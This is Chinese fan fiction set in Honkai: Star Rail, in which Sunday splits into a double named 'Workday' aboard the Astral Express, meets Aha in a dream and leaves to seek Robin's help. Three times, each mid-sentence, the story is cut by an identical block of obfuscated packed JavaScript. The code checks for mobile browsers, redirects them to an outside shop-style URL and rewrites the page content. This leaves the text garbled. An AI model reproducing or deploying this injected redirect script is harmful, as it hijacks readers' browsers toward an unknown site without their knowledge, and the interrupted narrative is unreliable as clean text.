《[崩铁]工作日和星期日》 1. 关于耳羽 关于耳羽。 打理它们是很需要技术和耐心的。 星期日这个男人对于自己的仪容仪表苛刻到了令人发指的地步，任何细节都要保证严谨的秩序，不容有误。 除了—— 左边耳羽上的那两颗耳钉。 是不对称的。 啊，不对称当然也可以说是一种秩序，重点不是这个。问题的焦点主要在于如何保养这两枚漂亮的耳钉，那是得下苦功夫的。 金色的光泽必须通过勤加清洗才能维持长久，时不时需要摘下来掸去空隙中的灰尘，重新戴上它们的时候也得万分小心，这两枚细细长长的耳钉很容易一不留神就丢失了。 此时此刻几根纤细修长的手指正搭在星期日左边耳羽的边缘，耐心地为他戴上耳钉。 随着金属的物体刺入柔软耳骨的一刻，敏感的耳羽微微颤动起来，伴随着一声近乎不可闻的闷哼。 或许。 他隐约意识到了，不对称的并非耳钉的位置，而是他「自己」。 “星期日先生，列车长让你快点……” 被帕姆委派前来提醒星期日吃晚饭的三月七不巧误入了这“旖旎”的现场——一个星期日紧贴着另一个星期日，呼吸交缠，耳羽交织，缓缓地抬起来遮住了半面眼睛。 纯真的视线立刻对上了两张一模一样的脸孔，他们回神望过来，一张脸上略带着尴尬和惊诧混合的神色，另一张则更多地挂着淡漠。 “啊！” 三月七震惊地大声喊起来。 “这儿怎么有两个星期日先生？！” 她的叫声差点把车厢的顶盖儿给掀翻了。 “怎么了，三月？”□□沉稳地迈步过来询问，他倒是对两个星期日有些见怪不怪了。 其他人也纷纷从自己的房间出来，赶到三月七的身旁一探究竟。惊魂未定的三月七拍着胸脯，使劲眨眼试图看清楚眼前的两个男人。 “杨叔你看，不会是我还没有从太一之梦中苏醒过来吧？”她哀叹，“不要啊！” “好了，好了，小三月，别担心。”姬子连忙安慰她，并且仔细观察了一下现在的情形，“我们眼前确凿无疑是有两个星期日先生。” “是的，没错。”丹恒附和道。 “不管怎样观察，两人的面容都没有任何差异。”□□继续评价说。 “莫非是列车又遭遇了什么神秘力量的袭击，导致了异常事件出现吗？”姬子若有所思。 同样闻讯赶来的星从派对车厢的二层快步下来。她的视线扫过两个星期日的时候好像察觉到了什么异样，却没有立马说出口，反而叉起腰静静看起戏来。 “三月小姐，请容我致歉，我本无意向各位隐瞒，虽然好心致使大祸，令三月小姐受到了惊吓。” 为了避免误解，长得比较像是正版的星期日朝着是三月七的方向微微躬身以表歉意，一本正经地解释道。 然后他摊开手介绍身边的另一个自己：“这位是我的……” “我叫工作日，简而言之就是他的另一半，星期日的另一个自己。” 另一个家伙上前一步，立定。 自称是“工作日”的这个家伙非常直率，直率到让人有些望而生畏了。 说实话，人们对于两个星期日应该是喜闻乐见的，但是对于工作日则是巴不得眼睛一闭一睁就跳过了。 “啊。”□□扶了扶自己的眼镜。 “真是拗口啊。”三月七挠了挠头发。 “不过，为什么星期日的另一半会叫工作日呢？”她忍不住问道，语气有些战战兢兢，像是海边伸出脚丫的小鸟，“为什么不是星期一、星期二、星期三……或者星期六呢？” “我支持他叫疯狂星期四。”一直没吭声的星突然在这时候开腔了。 众人登时陷入沉默。 姬子不得不站出来礼貌地打破僵局：“那么对于两个星期日先生，应该怎么办呢？” “这是我的失误。” 星期日推开了挡在他面前的工作日。 “我会负责解决他的。” 时间的指针拨回到不久之前。 ——钟声响起，昭告着各个时刻的到临。 星期日正在列车的某处专心祝祷，地上摆放着列车代表色的跪垫。他端正地跪坐其上，肃穆得似一座雕像。他的脚跟顶着腿内侧，微微凹陷进去。 他并非在向任何具体星神祷告，虽然身为「同协」之子，「秩序」遗民，但他早已偏离了两者的道路。 他只是在向自己忏悔和反思。 ……至少试图如此，即便他未必能够成功。 祷告仪式的第一步往往是洁净自身。 于是冰凉的指骨触碰到温热柔软的耳垂。他将金色耳坠和耳钉拆除，放置在身前的小矮木柜上。然后是身上其它的赘饰，都需得一一卸下，最后一步到了头顶的天环。 “如要获得启迪，必先经历苦痛。” 天环在梦中是可以拆卸的实体，在现实中则是一种能量投影，不过也是可以移动的。 星期日屏气凝神，令它浮动，然后呈现在眼前。明亮的光影缥缈虚幻，就在这一瞬间他感到丰富的情绪一股脑向自己袭来。因为久被压制而显得格外醇烈的感情，让他差点招架不住。 他的心中突然腾起了莫名的好奇与叛逆。 “如果掰断它，会发生什么？” 金色的能量氤氲在指尖。 摧毁它。 摧毁他。 他的心中有一个声音在说话，在呐喊，明明不协合的乐章已被他调律完整，他应该已经充分认识了自己，可他情不自禁地想要发问：希佩可曾聆听过你的苦痛，太一可曾指引过你的演奏，一个人若是要靠自己，得获取多大力量，才能保证自己的独立自由？ 因而只需稍加用力—— 「羽翼」就会轻易折断。 “啊，痛。” 身后传来一阵音色清澈的抱怨，星期日一惊，下意识地松开了手，那光环重新回到了他的脑后。 “你对自己这么狠的吗？” 听到有人来，他急忙整理了一下衣装，重新戴上那对耳坠，让自己至少仪表得体地来面对来客。 “你不会还打算效仿古法脱掉上衣，用长条荆棘鞭笞自己，追寻先哲信众的步伐，以此来实现赎罪吧。” 那张和自己一模一样的脸嘲讽道。 “那种过激的行为是没有意义的，我不会如此做。”星期日认真地回答。 对方轻蔑地哼了一声，抬起戴着白手套的双手。星期日审慎地打量着他，眼中居然流露出一丝茫然与无措。 “你不该出现在这里。”他压着声音说道。 他清晰地记得，万维克已经融合于此身——「消失」，不该再出现了，尤其是在匹诺康尼的梦境之外。 “我就是你，你「自己」，我不在这里还能在哪里？在匹诺康尼的梦境里，「我」万维克如何称呼你，于是我便如何称呼我自己。” “你好，我叫工作日，很高兴见到你。” 工作日伸出了手。 “我的另一半，星期日先生。” 星期日拒绝同他握手。 工作日抿了抿嘴，视线落在了小矮木柜上遗落的两枚耳钉，心中生出了新的想法。 “不如，让我来帮帮你吧？解决那些苦恼。”他笑着说。 星期日的讲述到此结束。 毕竟故事的后续就是三月七刚刚误入瞧见的画面，无需赘述了。 三月七和星听完后还一头雾水的样子，丹恒和姬子则露出了沉思的神情，□□……□□不知该作何感想了，他觉得自己承受了太多，见过星期日表演过一次人格分裂 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14596463|155980||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的戏码，如今又目睹了星期日真的分裂成了两个自己。 “如何？你要消灭我吗？消灭你自己？” 工作日转过身来，面对另一个自己，挑衅性地问道。 “必须。” 星期日的回答斩钉截铁。 气氛显然陷入了尴尬，到底这是星期日自己的私事，其他人好像也无权置喙。不过究竟什么原因导致星期日突然有丝分裂成两个，众人有必要弄清楚，以绝后患，然而目前尚未头绪。 “哎呀呀，你们都聚在这里干什么呢？” “开饭啦，开饭啦，快去吃饭吧帕！” 威风凛凛的帕姆出现了，它戴着一顶厨师帽大声吆喝着，像是在指挥「开拓」的乐团。面对两个星期日的闹剧，它只是略略瞥了一眼，没有发表什么意见。 它更专注于让星穹列车上的诸位不饿肚子，卖力地强调着晚饭时间到了。毕竟仙舟古语说的好，人以食为天呐！ “你也一起来帕。”它慷慨地接纳了工作日。 大家遂跟随着帕姆前去用餐，默认工作日加入了队伍，星期日克制地与他保持了一段距离，工作日挑了挑眉，继续贴在他身旁。 一切显得十分和平。 工作日没有展现出任何具有威胁性的气息。 “或有可能是「谐乐众弦」当中的一位？” 席间，丹恒向姬子和□□提出了自己的猜想：“据智库资料记载，它们有时会以「同谐」家族中的一员之面貌出现。” “不无道理。”瓦尔塔肯定道，又继续推理，“不过很奇怪，列车长什么都没说，反而显得见怪不怪了。” “星期日既然已经脱离「同谐」的命途概念，希佩为何还要前来干涉？”姬子端着她的咖啡杯思考着，“考验、教化或是制裁？” “是制裁的话，我们不能坐视不理。” 丹恒又说：“我在刚刚隐约感知到了他身上环绕着某种古老的力量，类似于「不朽」一般古老，且带着神秘的色彩，甚至有点迷乱。我难以确认那到底是什么，或许你们会有想法？” □□和姬子对视一眼，好像得出了结论。 这厢靠谱的“大人们”正在讨论要紧大事，三月七和星倒是立刻和工作日打成了一片，相谈甚欢，连星期日都有些像是被排挤在外了。 三月七听工作日说起自己和星期日喜欢吃布丁蛋挞，立刻溜进厨房翻箱倒柜，找出了几个冷冻布丁蛋挞，然后一股脑丢进烤箱里叮了一下。她的厨艺恐怕堪忧，所以烤出来的布丁蛋挞有点焦。 “将就一下。”她乐呵呵地笑了笑。 布丁蛋挞一人一个，刚好分给了在场几位，包括正在讨论事情的丹恒、姬子和□□。三月七表示，只要大家现在趁着帕姆去换衣服的时候把布丁蛋挞一口吃完，就不会被发现！ 星期日看着被放到他手心里的布丁蛋挞，像是要把它盯出一个洞来，他太久没有纵容过自己的口腹之欲了——正当他心中天人交战时，忽然听到星兴奋地张口开腔。 她充满好奇的视线扫过工作日的两耳之侧。 “欸？你有六只耳羽！” 星一边啃布丁蛋挞，一边指了指工作日的脑袋，这正是她之前察觉到的异样，终于有机会说了出来。这种可爱的小事情，比较适合在打打闹闹的轻松环境说出来。 “真的欸！好神奇！”三月七感慨道。 关于耳羽。 总是带着特殊意味。 拥有耳羽的人在浩瀚宇宙中是极少数的存在，因而大家常常怀抱着强烈的好奇心。与此同时，耳羽又是一个颇具私人特质的“器官”，对于拥有耳羽的天环一族来说，他们可曾真正地仔细观察过自己的这对“翅膀”呢。 “你要来摸摸吗？” 工作日侧身对星期日说道，那双金色的眼眸冷冷地朝向对方，有一瞬间的天真闪过。 2. 只要不是 “你喜欢你自己吗？” 真是个怪问题。 那换个问法—— “你喜欢布丁蛋挞吗？” 答案是肯定的。 但是星期日会否定。 他本能的反应就是否定，无论是家族中的别人，还是自己，都在日复一日地反复告诫：需得压制你的欲望，舍弃你的本真，为了最高的谐音奉献一切。 然而如今他自己居然对他说：“你要来摸摸吗？” 摸摸自己软绒绒的耳羽。 “你是认真的吗？”星期日皱了皱眉。 “当然……嗯。”工作日把那个俏皮的称呼咽了下去，毕竟星期日强调了很多次他不太喜欢，为了保持好感度，需要适当收敛一些。 星期日没有立刻回答，微微垂下了眼睫。 “那个——” “我可以吗？” 三月七一个没拉住，星勇猛地站了出来，她很具有主人翁意识，选择了主动出击，目的是调节尴尬且微妙的气氛。 趁星挤到他身旁，星期日假装镇定地退到一旁低头整理衣领，适才工作日对他发出那个问句的时候，他遽然感到心脏莫名跳得飞快。 惊慌与不安。 他从未想象过这样的事情：摸摸自己的耳朵，摸摸自己的羽毛？那是小孩子才会做的事情，小孩子才会拥有如此充沛的好奇心。 他是个大人了，他的行为必须成熟，他的思想必须理智。除此之外的一切，没有机会，也不被允许。 但工作日看起来并没有这样的束缚。 “好软啊！好舒服~” “什么？什么？我也可以摸摸看吗？” “请随意。” 三月七和星聚在工作日旁边，玩得很开心，工作日十分配合地抖动起耳羽，漂亮的翅膀跃动起来的样子超可爱的。他们甚至闹到了其它三个人面前，在三月七和星的强烈要求下，丹恒不得不面无表情地碰了碰工作日的耳羽。 “可以摸摸丹恒的龙角吗？”甚至星得寸进尺了，丹恒立刻严正拒绝。 工作日还顺带展示了一下六翼耳羽的独特操控方式，比如，在必要时候可以用中间的那一对遮住眼睛。姬子和□□出于成年靠谱人类的矜持，婉拒了这场“摸摸耳羽”的活动，不过还是礼貌地赞许了工作日和星期日羽翼的美丽。 在旁边的星期日故意移开了视线，不去看这场闹剧，在心底反复对自己强调——不可以。 如果任由事情继续发展下去，恐怕三月七和星能把全宇宙的朋友都叫来参与了，比如什么纯美骑士。 幸好帕姆换完衣服回来，看见大家品尝完晚餐的光盘子，颇感欣慰地宣布今日的晚餐正式结束，巧妙地打断了他们的玩闹。 并且嘱咐道：“在完成必要的准备工作之后，列车不日将启程前往翁法罗斯。这段休憩的时间里，请各位乘客妥善处理好个人事务，吃好玩好，调整好作息和心态，以免耽误列车行程帕！” 工作日可实在厌倦了长篇大论，挪到一脸严肃的星期日身旁，对他低声耳语道：“怎么，你不高兴了？” “除了知更鸟，你这辈子就没让别人碰过你的耳羽吧？”工作日暗暗一晒，“你也是时候该尝试向别人敞开心扉，多交点朋友了。” 星期日觑了他一眼，工作日抬起手碰了对方耳羽根部的那处敏感的地带。 他的手指探进了浓密的淡色头发中，指骨擦过耳钉凸出的尖利锥角。 星期日感到一阵温热的电流传过他的脊柱。 温暖……好舒服。放松的触感。 “啊。” 这时路过的黑天鹅朝他们留下了意味深长的一瞥，她总是神出鬼没的。 “孩子，想认识自己的话，可以先照照镜子，来自「记忆」的诚恳建议哦。” 她歪了歪脑袋，手里拿着一张牌。 “谢谢您的教诲，忆者。” 星期日收敛住神情，颔首向黑天鹅礼节性地致意了一下，然后快步离开了。如果再多留一会，多说一句话，他实在要驾驭不住场面了。 “这家伙，难道还没有意识到我就是他的镜子吗？” 工作日望着星期日的背影，在后头叹息道。 “他知道，只是他拒绝承认罢了。”黑天鹅知心地解答，“你的出现，必有其价值，他会明白的。” 工作日转过来，运用他那充满自信且万分熟稔的经典姿势，背起手说来对黑天鹅说道：“他自那场疼痛的陨落以来，听得那句‘到人世间去看看’的哲言，反倒产生了太大的压力，忘了自己究竟该如何行路。” “你这个观点真是有些新颖。”黑天鹅勾起了讳莫高深的微笑。她朝走廊深处走去，然后在转角处消失于在阴影之中。 工作日暗笑了一下，同样隐退到光的暗处。星期日内心的矛盾造就了他，他生于混沌，使命自然也是制造混沌。 星期日尚且未察觉到工作日的企图，他压了压缭乱的呼吸，回到自己休息的地方。 吃掉了那份甜美可口的布丁蛋挞，他的心情居然莫名地忐忑起来，难以平复，只想快点结束对话，今夜好好安眠。 ——预设：列车上只有四个房间和排队车厢的二层；问题：星期日睡哪；解：隐藏式设计。 星际时代了，朋友，超高科技！ 不过高科技也无法解释为什么有一个毛茸茸的存在现在正极其惬意地躺在他铺得平平整整的大床上，与他四目相对。 “这……” 他感到局面愈发超出自己的控制。 以及接受范围。 他明显地看到这是一个毛绒玩具，一个知更鸟版毛绒折纸小鸟抱枕，匹诺康尼最新推出的纪念礼物——给你的匹诺康尼梦之旅画上一个完美的句号！ 后半句是匹诺康尼大街上挂着的广告宣传语，列车组（主要是三月七、丹恒和星）临走时受其吸引，二话不说掏出信用点买了一个给星期日当欢迎礼物。 “瞧瞧，这是什么好东西？”工作日带着没有恶意的冷嘲热讽走近。 “一个毛绒玩具。”星期日即答。 “哎，你到底有多久没抱紧心爱的玩偶入睡了？我记得你小时候最喜欢这样可爱的玩意。” 他的声音回响在四面墙壁之中。 “它们很难打理，容易掉毛，也容易弄脏，我不喜欢这种无序。” 星期日毫无波澜地回答道，避开了毛绒折纸小鸟所在的位置，坐在了另一边的床沿。 他换上了洗涤干净、芬香扑鼻的洁白睡袍，小心翼翼地掀开厚重的被子。虽然嘴上说着不喜欢，却动作轻巧地避免让玩偶倒下来。 “成为无趣大人的第一步，就是学会口是心非。” 工作日叹了一口气，半跪在他身侧，一只手覆上了他的膝盖，另一只手拨弄了下耳侧的羽毛，念念有词地说道：你还没有回答我最开始的问题。 星期日的目光在那三对与自己一模一样的耳羽上流连了片刻，最终再一次地移开了。 他躺到床上，将被子盖好，耳羽展开在枕上。 “睡觉的时间到了，晚安。” 不知是在对玩偶说晚安，还是在对工作日说，亦或是对他自己说，然后闭上眼睛。 工作日停顿了半晌，等到听到安眠的呼吸声传来，才缓缓站起，最后投下柔和的凝望，如同母亲爱抚孩子一般。 接着，他返身踏入黑暗。 与此同时，黑暗幽冥的车厢另一端。 一群人正在窃窃私语，好像在图谋什么骇人听闻的事情。他们交头接耳，你一句我一句，聊得火热。列车上畅所欲言的地方，每个人都可以发表自己的看法。只要利用集体的智慧，便能干一票大的—— 不是。跑偏了。把思维纠正回来。 “我们认为，是星神力量干涉的概率非常大。” □□和姬子表达了两人在晚餐时间达成的共识。 “究竟是哪位还无法确认。”丹恒摇头，“我怀疑有「均衡」和「神秘」参与，但它们一位太过古老，一位太过玄奥，我们迄今为止也没有接触过，所以并不能百分百肯定。” “只要不是啊哈，一切就不必担心帕。” 列车长同样抒发了自己的看法，众人不约而同地发出了赞同的哼唧。 “他身上的气息多缕同构。”黑天鹅应景地飘了过来，加入讨论，“犹如结晶的无数切面，千相共居，又如镜面折射，能映出真理。” “哎呀，我已经听不懂了，不过感觉他没有坏心思啊！”三月七摊摊手，“星，你有什么看法？” 星谈定自若地说道：“小猫咪能有什么坏心思呢？” 众人习惯了星的脑回路，又七嘴八舌地讨论起来，最后因为事态还不明显，所以决定暂时观察看看。 “听起来星期日很想把工作日赶走呢。”三月七不舍地说道，“竟然，有一点舍不得工作日！他的耳羽超可爱，超好摸的！” “嗯，小三月，你们能和睦相处是件好事。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14596464|155980||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ”姬子出来打圆场，“不过这算是星期日的私事，还是应当交由他自己决定。” 讨论来讨论来，最后还是一样的结论。说实话，两个星期日，还挺有趣的，至少三月七和星对此是喜闻乐见的。更深夜阑，大家收拾收拾先睡了吧。 只要不是…… 天呐，不会还真的是吧？ 星期日在梦中享受久违的平静，除却在匹诺康尼的繁华梦境，他大概好久没有像这样，真正地做一场梦了。 “别睡了，起来欢愉吧。” 他忽然听到了一阵震耳欲聋的笑声，穿透了梦境的四壁。 “啊哈！” “你的梦里太安静了，我带了一些欢欣与快乐，一起来笑吧！” 他忽然看见长满各式面具的一张巨大脸凑在自己眼前。祂的身形宏大而轻快，闪烁着炫彩的光芒，彩带翩飞。 “你要来作我的子民，我为你的神①，享受至死不休的笑声洗礼吗？”祂激昂地说道。 “不。”星期日完全不假思索，“我如今无意成为任何‘祂’者的应选。” “哈哈。哈哈哈。”啊哈感到了满意。 “是你制造了工作日吗？是你将我摹拟，而再度复现吗？”星期日不卑不亢地求问道，“你为何要如此做？” “我想那可以是我，但可惜祂们抢了先，你是神选的孩子，就算你不愿承认。”啊哈笑起来简直笑个不停，“希佩祂老是在我耳边唠叨，祂看到你陷入迷茫，不够欢愉，我就来看看，想念你的阿基维利。「均衡」说要有光，「神秘」说要有雾，我说——要有笑声！” 星期日没有懂得啊哈说话的逻辑。 “便让那成为我吧。” “你的未来可以期许。” 啊哈快活地伸出一根手指——真不知道祂这个身子是从哪里来的手指——点了点星期日的额头。 惊醒。 冷意袭来。 “啊……是梦。” 星期日撑起身子，努力睁开沉重的眼皮环顾四周，一片寂静黑暗，连工作日也不见了踪影。唯独那只知更鸟版毛绒折纸小鸟还靠着床板，星期日提了提被单边缘，将它盖住。就像小时候的过家家游戏，会担心娃娃受凉，将它当个「人」来看待。 他下了床，白色睡袍的裙摆搭在腿边。他着白袍子，似神的天使。 空气中涌流着不对劲的东西。 “这里为何会有如此强劲的力量残屑？” 他伸出手，空气漂浮着的光沫落到他的掌心，如雪花般消融。他的精神警觉起来，追寻着光的绵长痕迹出去查看，却在列车长廊与帕姆恰巧迎面相撞，帕姆跑得太急，冷不丁磕在他的腿上。 星期日立刻蹲下来，帮帕姆查看有没有受伤：“列车长，你还好吗？” “我还好，不，我不好！我看到祂了。”帕姆奋力甩了甩两边的长耳朵，“是啊哈！祂又来了！我感受到了祂的力量，就在那里。” “星期日乘客。”它严肃地说道，“我诚恳地请求你随我一起去查看一下情况，欢愉之神曾经给列车带来了巨大的灾难，在这个关键时期，不能让祂再添麻烦了。” “……好。” 星期日思考了一下，将帕姆轻轻地抱在了怀里，继续沿着光带的方向行进。外头黝黑的宇宙经由玻璃窗映衬，使得熄了灯的列车车厢变得十分漆黑且漫长，他脑后漂浮着的天环成为了唯一稳定的光源。 宇宙的绝大多数的地带，其实黑暗而冰凉。匹诺康尼那样绚烂的美梦，才是少数。 当他们进入排队车厢的时候，受到了居高临下的问候。 “我没有恶意。” 工作日站在排队车厢二层的楼梯末端，居高临下地俯视着到场的宾客。在弥漫的光影之中，他几乎与星期日难辨彼此。他的身后若隐若现地浮着无数光点，却很微弱。 星期日警觉地凝视着他，踏上了楼梯的第一阶，然后一步一步往上走去，切切实实地攀登到了顶峰。 “你做了什么？”星期日问。 “我没有恶意。”工作日重复了一遍。 然而工作日身后的光点突然躁动起来，凶猛的力量喷薄而出，星期日始料未及之下，脚下一个踉跄，从楼梯上失足滑落下去。 “就像你，从来没有恶意一样。”工作日压低了嗓音说道，“我——你，只是想……” 在星期日的背后，温暖而有力的光以梦幻的星点构筑了极其美丽的姿态。 那是一对羽翅。 3. 意料之中 “啊啊啊，怎么回事？你说另一个星期日唰的一下就把星期日给从楼梯上给推了下去，还带着帕姆一起？” 三月七一惊一乍地拉住星的衣袖问道。当时星就在排队车厢二楼的门后，透过玻璃目睹了案发的全过程，成为了关键证人。 “然后呢？然后呢？”三月七明亮的眼睛眨了又眨。 “你的问句太多了，三月。” 星不屑地握起胳膊肘，故作高深。 一旁的丹恒代替星回答说：“然后星期日他展开了翅膀飞在空中，掉了一地羽毛……列车长打算了一早上。” 时钟指针拨回数个系统时前。 “小心啊！”帕姆惊呼，“帕！” 意料之中的坠落没有出现，始料未及的反而是—— 晶莹、透明、纯澈的翅膀。 一对羽翅。 不是他的耳羽——那太脆弱了——而是一对真正的翅膀——闪烁着能量之光，虚幻的形态绵延，将整个车厢都包裹在内了。 星期日早已学会放弃奢望自己有朝一日能够飞向天空。可现在，于身体腾空的一瞬间，那股力量不知从何处冒了出来，让他霎时感到恍若隔世。 他尚且穿着白色的蓬松睡袍，怀里抱着小小的帕姆，头发凌乱打曲，睡眼惺忪的。 扑棱扑棱地浮在空中。 肩胛骨处密密匝匝地传来了生长痛的棘刺感，他感到全身的神经被牵引着发出震颤。 简直像是童话故事一般，天真的稚童因其善良的灵魂而获得褒奖，展开一系列惊心动魄但结局感人的冒险故事。 “你身上蕴藏的力量远超你的想象。” 工作日撑着栏杆，对他大声喊道。 光点构成的翅膀轻轻扑动，当星期日终于掌控了如何驱使他的新翅膀，慢慢地落到地上之后，缩在他怀里的帕姆近乎惊奇地说道：“你……你身上的气息，竟然如此繁杂……怎会如此？” 工作日这回没有继续隐瞒。 “我的出现并非意外，也不是刻意的阴谋。他在匹诺康尼的确已经实现了自我的调律，万维克「另一个他」已经融合。但他自身所具备的力量尚未得到正视，一直以来他的心灵过于‘脆弱’，以至于力量的发育了超过他内心发育的速度。所以我应运而生，来平衡这种不平均。” 星期日将帕姆放下，为它梳理了一下炸开的毛发。那些闪烁的光点也随着他掌握如何操控羽翼后消散了。 “如果你想我消失，就得寻找心灵更强大的命途行者在现实中来进行调律——调律你自己。” “心灵更强大的命途行者？”星期日重复道。 工作日轻哼了一声：“你懂我在说谁，别装蒙昧无知的样子。你很想让我消失不是吗？我现在告诉了你正确的方法，何乐而不为呢。” 星期日正欲开口，帕姆却急忙打断了他：“各位乘客不要再闹了，既然危机已经解除，赶紧回去睡觉吧，做个好梦帕。” 到第二天午饭的时候，列车乘客们稀稀拉拉地聚齐了。姬子和杨叔自然是最早醒的，在咖啡香气当中度过了一个充实而美好的上午。丹恒也差不多，他多数时间泡在智库里，没怎么露面。美少女三月七起得不早也不晚，窝在自己房间里摆弄相机喝照片。最晚起的肯定是随性无比的开拓者——平时多半要睡到下午呢，今日特地定了闹钟准备吃午饭。 然而工作日和星期日迟迟未到，于是众人坐在一起聊起了天，其中星格外分享了昨天晚上熬大夜的时候恰巧看到的场景。 “原来星期日的力量这么厉害的吗？”三月七惊呼，“那岂不是当时我们打他的时候，他还没有使出全力啊！” “全靠我的嘴炮使他顿悟了。” 星开玩笑道。 “要记住，神选者并非唯一，选人的神也非唯一。” 黑天鹅又神出鬼没地闪现了：“他的身上如今有多重命途的交织，对我们前往翁法罗斯的旅程或有帮助。” 姬子给黑天鹅递了一杯咖啡，黑天鹅面色平静地接下了它，但没有立即饮用。 “列车对于有心开拓的旅客来者不拒。”姬子温柔地笑了笑，“即便我们和欢愉之神有些芥蒂，若是祂诚恳想要再次踏上列车，我们也是欢迎的。” “这点值得商榷。”帕姆走了过来，叉起腰，“如果啊哈再来，得好好考察祂的真心，才能放祂自由活动！” “我记得姬子姐姐很想和「闭嘴」的主人再见一面，让他赶紧把它带走，说不定我们还能再次邀请他上车看看我们的新装修。”三月七兴高采烈地说道。 杨叔听到这个话题，故作镇定地扶了扶额头。 就在这个时候，星的肚子咕噜咕噜地叫了起来，饭点都快过了，他们还没吃上饭。 “迟到！秩序狂人星期日居然会迟到。”她不可置信地说道。 “亏我今天特意准备了布丁蛋挞帕。”帕姆嘟囔道。 帕姆的话音未落，列车组众人看见星期日一袭旅客着装走近他们，肩头挂上了披风，像是马上要离去的样子，工作日紧随在他的身旁，笑意端庄。 “各位，很感谢你们允许我在列车上短暂歇脚。”星期日抬手放在胸口，“我想向各位学习的心不曾改变，但经历昨晚的闹剧之后，我意识到为了避免力量再次失控，有必要先解决「另一个自己」——也就是工作日——的问题，否则我将无法安全地与各位同行。” 大家耐心地听星期日讲述。 “我刚刚通过寰宇新闻播报得知，知更鸟此时已经到达罗浮仙舟进行演唱会巡演准备，虽然我本无意与她再会，但放眼寰宇，唯有她的「同谐」之力可以解决这个困扰。仰赖诸位建设银轨，若我向列车组能借一艘飞船，往来只需几个系统日，应当能够赶上列车出发前往翁法罗斯的时间。” “没有问题，互帮互助是列车组一贯的信念。”姬子立答，“请一定注意安全。” “我会准时回来的，你们拥有我的承诺。” 星期日认真说道，他的神情失去了原本略微沉寂的那种淡然，变得略微严肃。工作日一幅作壁上观的样子，没有辩解，没有插话，好像对自身的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14596465|155980||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 存在与否毫不在意。 “我们并不怀疑你对时刻准确的追求，甚至早已深有体会。”杨叔竟然难得调侃了一把，“一路顺风。” 三月七拉过丹恒和星的胳膊，哀声叹息：“我们会想念你的，星期日。” 帕姆小跑着推过来一个纸箱，对他说道：“这是你昨天落在车厢地板上的羽毛，本来想把它们收拾干净放进礼盒里还给你，没想到你居然这么快就要离开了。” “为了解决问题，而不是沉浸幻想之中。”星期日微微一笑，用几乎轻不可闻的声音回答，他半跪下来，看向箱子里面。 大家一起凑过来，眼瞳中折射出了浅金色的光芒，柔美的羽毛轻盈地堆叠交织。星期日伸手从中取了几羽，然后一一分给众人，作为欢迎礼物的回礼。 列车的货舱里装载着备用的逃生太空艇，星期日借了一辆三人座飞船，将那个知更鸟版毛绒折纸小鸟放在了中间位置，并且替它系好安全带。 星期日和工作日分别坐在两边，星期日一脚油门，飞船咻的一下冲进了太空，往罗浮仙舟的方向疾驰。 连工作日都始料未及，自己的驾驶风格居然如此狂野。他一直没吭声，这时候终于按耐不住了：“我看你对它，比对我还上心。” “你无需我的关怀。” “那么知更鸟也无需你的保护。” 工作日反唇相讥。 “我已认识到了这一点。” 星期日没有被为偏激的言语所触怒。 工作日却突然侧过身上，直直地盯住他的眼睛，面对一张一模一样的脸，总是难免让人感到颇为毛骨悚然，仿佛自己的一举一动、一言一行被看得如此透彻。 “相信你自己，你是强大的。” 工作日的嘴唇翕动，语调刻意地抑扬顿挫，如同海妖的魔音般蛊惑人心。 然而他的话音还未完，就骤然消失在了一道强劲的红色闪光当中。 哐当。 整个太空飞船翻转过来，连滚数圈，受到作用力的影响，一路偏离星轨而去。所幸安全带的束缚保证了乘客没有飞出座位，在玻璃壁上撞破脑袋。 剧烈的撞击使得飞船倾覆，机油味渗出了缝隙，弥漫在驾驶舱内。星期日在来回的旋转之中牢牢按住了知更鸟版毛绒折纸小鸟，工作日则面色苍白，马上要转得吐了。 星期日暂时没有用任何力量尝试使飞船停下来，他在学着不要过度控制。等待了一会之后，飞船逐渐趋于平静，停靠在了一个浮在太空中的引力码头旁。 “唔……我不行了！” 工作日连忙摘掉安全带，扶着船舱壁下了飞船，站在码头边缘，往太空中吐出——一道绚烂的彩虹。 星期日瞧着他的动静，登时无言。他也下了船，打算查看发生了什么，却敏锐地听到背后传来了什么声音。 “哎呀，欢迎来到酒馆分馆～” 女孩嘻嘻的清脆笑声响起。 码头立着的木牌上头歪歪扭扭的几个大字：老桑博的酒馆分馆今日开张，买七免一，多买多送！ 4. 为了欢愉 酒馆分馆。 相比于酒馆本体更加居无定所。分馆由愚者中推选出来的能人异士定期建造并运营，利用人造引力系统制造的码头漂浮在太空之中，哪里有乐子就去哪里。 此处欢迎一切追求快乐之人造访，即便你不追求欢愉，也会被散发出来的引力和搞事的愚者抓捕过来。 